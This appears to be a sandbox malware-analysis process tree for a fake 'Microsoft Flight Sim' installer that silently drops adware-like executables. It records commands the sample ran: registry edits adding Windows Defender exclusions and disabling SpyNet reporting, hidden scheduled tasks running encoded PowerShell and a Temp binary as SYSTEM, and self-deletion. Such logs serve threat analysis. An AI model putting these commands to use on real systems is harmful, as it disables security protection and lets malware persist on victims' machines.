    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.18.1194559996\2004850147" -parentBuildID 20221007134813 -sandboxingKind 1 -prefsHandle 10436 -prefMapHandle 4788 -prefsLen 27172 -prefMapSize 232645 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {390b2b2f-30b3-4a5d-b7f8-2e242911b01b} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 6756 15dcb79cc58 utility
    3⤵
    PID:3320
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.19.1367761864\1998911728" -childID 16 -isForBrowser -prefsHandle 10548 -prefMapHandle 10532 -prefsLen 27172 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e43cd679-586f-4461-b8bb-1f88610be99c} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 10560 15dcb892b58 tab
    3⤵
    PID:1508
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.20.742947851\740416605" -childID 17 -isForBrowser -prefsHandle 10512 -prefMapHandle 9580 -prefsLen 27172 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {348df095-3fe2-4eff-9bd8-6c0b9e2e72bb} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 9624 15dca80a758 tab
    3⤵
    PID:4732
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4912.21.1666898439\2024515495" -childID 18 -isForBrowser -prefsHandle 4984 -prefMapHandle 10512 -prefsLen 27172 -prefMapSize 232645 -jsInitHandle 1452 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a23ad0fc-09e8-4e6f-b60c-67bfd833d7af} 4912 "\\.\pipe\gecko-crash-server-pipe.4912" 9536 15dcb9a3b58 tab
    3⤵
    PID:5668

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3340

C:\Users\Admin\AppData\Local\Temp\Temp1_Microsoft-Flight-Sim_3Id1M4Xh.zip\Microsoft-Flight-Sim_3Id1M4Xh.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_Microsoft-Flight-Sim_3Id1M4Xh.zip\Microsoft-Flight-Sim_3Id1M4Xh.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:8
- C:\Users\Admin\AppData\Local\Temp\is-3LN2C.tmp\is-OAS5G.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-3LN2C.tmp\is-OAS5G.tmp" /SL4 $202B0 "C:\Users\Admin\AppData\Local\Temp\Temp1_Microsoft-Flight-Sim_3Id1M4Xh.zip\Microsoft-Flight-Sim_3Id1M4Xh.exe" 3378834 52736
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Suspicious use of SetWindowsHookEx
  PID:3092
- - C:\Windows\SysWOW64\net.exe
    "C:\Windows\system32\net.exe" helpmsg 9
    3⤵
    PID:1392
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 helpmsg 9
      4⤵
      PID:3048
- - C:\Program Files (x86)\jLiteSort\jLiteSort312.exe
    "C:\Program Files (x86)\jLiteSort\jLiteSort312.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:5532
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5532 -s 908
      4⤵
      Program crash
      PID:2560
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5532 -s 944
      4⤵
      Program crash
      PID:5608
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5532 -s 1048
      4⤵
      Program crash
      PID:4392
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5532 -s 140
      4⤵
      Program crash
      PID:4764
- - C:\Windows\SysWOW64\net.exe
    "C:\Windows\system32\net.exe" pause jLiteSort312
    3⤵
    PID:4188
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 pause jLiteSort312
      4⤵
      PID:4468
- - C:\Program Files (x86)\jLiteSort\jLiteSort312.exe
    "C:\Program Files (x86)\jLiteSort\jLiteSort312.exe" 584625b2f5481e40e9c95ab9c3e51d75
    3⤵
    - Executes dropped EXE
    - Checks for any installed AV software in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:5308
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 892
      4⤵
      Program crash
      PID:5896
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 900
      4⤵
      Program crash
      PID:3752
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 980
      4⤵
      Program crash
      PID:5916
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1092
      4⤵
      Program crash
      PID:2188
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1168
      4⤵
      Program crash
      PID:5604
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1188
      4⤵
      Program crash
      PID:4632
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1192
      4⤵
      Program crash
      PID:4596
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1340
      4⤵
      Program crash
      PID:2440
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1348
      4⤵
      Program crash
      PID:2296
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 956
      4⤵
      Program crash
      PID:4496
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 988
      4⤵
      Program crash
      PID:2704
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1664
      4⤵
      Program crash
      PID:3732
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1384
      4⤵
      Program crash
      PID:5648
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1780
      4⤵
      Program crash
      PID:1448
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1776
      4⤵
      Program crash
      PID:3896
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1932
      4⤵
      Program crash
      PID:5352
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 2128
      4⤵
      Program crash
      PID:5632
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://google.com/
      4⤵
      Enumerates system info in registry
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      PID:1080
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7fff344e46f8,0x7fff344e4708,0x7fff344e4718
        5⤵
        
        PID:3444
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2228,586764036256641779,12617328778419133273,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5804
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2228,586764036256641779,12617328778419133273,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2896 /prefetch:8
        5⤵
        
        PID:5772
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2228,586764036256641779,12617328778419133273,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2244 /prefetch:2
        5⤵
        
        PID:1528
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,586764036256641779,12617328778419133273,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3576 /prefetch:1
        5⤵
        
        PID:6496
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,586764036256641779,12617328778419133273,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3556 /prefetch:1
        5⤵
        
        PID:6476
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,586764036256641779,12617328778419133273,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3684 /prefetch:1
        5⤵
        
        PID:6176
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,586764036256641779,12617328778419133273,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3912 /prefetch:1
        5⤵
        
        PID:6788
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,586764036256641779,12617328778419133273,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3672 /prefetch:1
        5⤵
        
        PID:6752
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2228,586764036256641779,12617328778419133273,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6072 /prefetch:8
        5⤵
        
        PID:1488
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
        5⤵
        Drops file in Program Files directory
        
        PID:6312
      - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x23c,0x240,0x244,0x14c,0x248,0x7ff73a6c5460,0x7ff73a6c5470,0x7ff73a6c5480
        6⤵
        
        PID:6324
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2228,586764036256641779,12617328778419133273,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6072 /prefetch:8
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:7000
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,586764036256641779,12617328778419133273,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3768 /prefetch:1
        5⤵
        
        PID:6180
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,586764036256641779,12617328778419133273,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5968 /prefetch:1
        5⤵
        
        PID:6160
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2228,586764036256641779,12617328778419133273,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3992 /prefetch:2
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6488
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1796
      4⤵
      Program crash
      PID:4584
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1784
      4⤵
      Program crash
      PID:64
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1780
      4⤵
      Program crash
      PID:6600
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1708
      4⤵
      Program crash
      PID:6164
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1904
      4⤵
      Program crash
      PID:5732
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1908
      4⤵
      Program crash
      PID:6280
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1848
      4⤵
      Program crash
      PID:7124
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1828
      4⤵
      Program crash
      PID:6264
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1888
      4⤵
      Program crash
      PID:6420
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 2032
      4⤵
      Program crash
      PID:6856
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1980
      4⤵
      Program crash
      PID:6224
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1952
      4⤵
      Program crash
      PID:5920
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1908
      4⤵
      Program crash
      PID:4636
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1128
      4⤵
      Program crash
      PID:6892
  - - C:\Users\Admin\AppData\Local\Temp\ZTt9UgVJ\fpOQCp9FZMk3WSbP9.exe
      C:\Users\Admin\AppData\Local\Temp\ZTt9UgVJ\fpOQCp9FZMk3WSbP9.exe /VERYSILENT
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:3812
    - - C:\Users\Admin\AppData\Local\Temp\is-S5J35.tmp\is-OC0OF.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-S5J35.tmp\is-OC0OF.tmp" /SL4 $801F4 "C:\Users\Admin\AppData\Local\Temp\ZTt9UgVJ\fpOQCp9FZMk3WSbP9.exe" 1187158 52736 /VERYSILENT
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        Suspicious use of SetWindowsHookEx
        
        PID:5412
      - C:\Program Files (x86)\CD Collection\cdc.exe
        
        "C:\Program Files (x86)\CD Collection\cdc.exe" install
        6⤵
        
        PID:748
      - C:\Program Files (x86)\CD Collection\cdc.exe
        
        "C:\Program Files (x86)\CD Collection\cdc.exe" start
        6⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:3740
      - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" pause CDCollection0218
        6⤵
        
        PID:3196
      - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" helpmsg 2
        6⤵
        
        PID:6168
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 2016
      4⤵
      Program crash
      PID:6176
  - - C:\Users\Admin\AppData\Local\Temp\wOWXrBZU\REINXOcrrM.exe
      C:\Users\Admin\AppData\Local\Temp\wOWXrBZU\REINXOcrrM.exe /S /site_id=690689
      4⤵
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Drops file in System32 directory
      Enumerates system info in registry
      Suspicious use of SetWindowsHookEx
      PID:6720
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        5⤵
        Loads dropped DLL
        Modifies registry class
        
        PID:5800
      - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        6⤵
        
        PID:6304
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        7⤵
        
        PID:6104
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        7⤵
        
        PID:6496
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        5⤵
        
        PID:6336
      - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        6⤵
        
        PID:5812
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gNNRaKbjm" /SC once /ST 01:34:58 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        5⤵
        Creates scheduled task(s)
        
        PID:6832
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gNNRaKbjm"
        5⤵
        
        PID:4260
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gNNRaKbjm"
        5⤵
        
        PID:6792
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bxCXGcqikGaWPITeEG" /SC once /ST 19:32:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\dSzJNCAvcFBoQOcHn\snpDkpLCxFfttmr\QklQMyE.exe\" lP /site_id 690689 /S" /V1 /F
        5⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:4496
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:6176
  - - C:\Users\Admin\AppData\Local\Temp\ae5D41eH\3oFhX.exe
      C:\Users\Admin\AppData\Local\Temp\ae5D41eH\3oFhX.exe /m SUB=584625b2f5481e40e9c95ab9c3e51d75
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:1032
    - - C:\Users\Admin\AppData\Local\Temp\is-1FGCQ.tmp\is-A6LE6.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-1FGCQ.tmp\is-A6LE6.tmp" /SL4 $503D2 "C:\Users\Admin\AppData\Local\Temp\ae5D41eH\3oFhX.exe" 2676054 52736 /m SUB=584625b2f5481e40e9c95ab9c3e51d75
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        Suspicious use of SetWindowsHookEx
        
        PID:320
      - C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\CCggedFrog\TFShellMenu.dll"
        6⤵
        
        PID:5800
      - C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\CCggedFrog\extensions\Meta\dsofile.dll"
        6⤵
        
        PID:6012
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /Delete /F /TN "CCggedFrog312"
        6⤵
        
        PID:932
      - C:\Program Files (x86)\CCggedFrog\CCggedFrog312.exe
        
        "C:\Program Files (x86)\CCggedFrog\CCggedFrog312.exe" /m SUB=584625b2f5481e40e9c95ab9c3e51d75
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:5996
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "CCggedFrog312.exe" /f & erase "C:\Program Files (x86)\CCggedFrog\CCggedFrog312.exe" & exit
        7⤵
        
        PID:948
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "CCggedFrog312.exe" /f
        8⤵
        Kills process with taskkill
        
        PID:5044
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1908
      4⤵
      Program crash
      PID:5992
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 2028
      4⤵
      Program crash
      PID:3172
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 2192
      4⤵
      Program crash
      PID:5448
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1168
      4⤵
      Program crash
      PID:7108
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 2188
      4⤵
      Program crash
      PID:6736
  - - C:\Users\Admin\AppData\Local\Temp\DzEW2X23\T73k12R3i9On0dJFlgKp.exe
      C:\Users\Admin\AppData\Local\Temp\DzEW2X23\T73k12R3i9On0dJFlgKp.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:6512
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1168
      4⤵
      Program crash
      PID:6420
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1708
      4⤵
      Program crash
      PID:4820
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 988
      4⤵
      Program crash
      Suspicious use of AdjustPrivilegeToken
      PID:5044
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 2144
      4⤵
      Program crash
      PID:5504
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1168
      4⤵
      Program crash
      PID:3448
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 2244
      4⤵
      Program crash
      PID:6752
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 2240
      4⤵
      Program crash
      PID:6756
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 2252
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3196
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1876
      4⤵
      Program crash
      PID:932
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 988
      4⤵
      Program crash
      PID:6840
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5308 -s 1824
      4⤵
      Program crash
      PID:6492
